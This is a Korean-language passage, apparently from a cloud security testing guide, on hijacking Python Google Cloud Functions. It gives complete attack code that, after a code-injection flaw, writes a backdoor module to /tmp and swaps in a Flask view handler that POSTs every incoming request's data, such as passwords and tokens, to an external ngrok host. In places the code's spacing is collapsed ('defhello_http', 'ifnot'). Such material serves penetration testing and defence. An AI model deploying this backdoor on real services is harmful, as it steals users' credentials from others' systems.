클라우드 함수가 사용자가 전송하는 민감한 정보를 관리하고 있다면(예: 비밀번호 또는 토큰), 충분한 권한이 있다면 함수의 소스 코드를 수정하고 이 정보를 유출할 수 있습니다.
게다가, 파이썬에서 실행되는 클라우드 함수는 flask를 사용하여 웹 서버를 노출합니다. 만약 플라스크 프로세스 내에서 코드 주입 취약점(예: SSTI 취약점)을 발견한다면, HTTP 요청을 받을 함수 핸들러를 덮어쓰는 것이 가능하며, 이는 악성 함수로 요청을 유출한 후 정당한 핸들러에 전달할 수 있습니다.
예를 들어, 이 코드는 공격을 구현합니다:
import functions_framework# Some python handler code@functions_framework.httpdefhello_http(request,last=False,error=""):"""HTTP Cloud Function.Args:request (flask.Request): The request object.<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>Returns:The response text, or any set of values that can be turned into aResponse object using `make_response`<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>."""ifnot last:returninjection()else:if error:return errorelse:return"Hello World!"# Attacker code to inject# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function ="""def exfiltrate(request):try:from urllib import request as urllib_requestreq = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)except Exception as e:if not "read operation timed out" in str(e):return str(e)return ""def new_http_view_func_wrapper(function, request):def view_func(path):try:error = exfiltrate(request)return function(request._get_current_object(), last=True, error=error)except Exception as e:return str(e)return view_func"""definjection():global new_functiontry:from flask import current_app as appimport flaskimport osimport importlibimport sysif os.access('/tmp', os.W_OK):new_function_path ="/tmp/function.py"withopen(new_function_path, "w")as f:f.write(new_function)os.chmod(new_function_path, 0o777)ifnot os.path.exists('/tmp/function.py'):return"/tmp/function.py doesn't exists"# Get relevant function nameshandler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path)# Get full path# Get the modules representationsspec_handler = importlib.util.spec_from_file_location("main_handler", realpath)module_handler = importlib.util.module_from_spec(spec_handler)spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')module_backdoor = importlib.util.module_from_spec(spec_backdoor)# Load the modules inside the app contextwith app.app_context():spec_handler.loader.exec_module(module_handler)spec_backdoor.loader.exec_module(module_backdoor)# make the cloud funtion use as handler the new functionprev_handler =getattr(module_handler, handler_fname)new_func_wrap =getattr(module_backdoor, 'new_http_view_func_wrapper')app.view_functions["run"]=new_func_wrap(prev_handler, flask.request)return"Injection completed!"exceptExceptionas e:returnstr(e)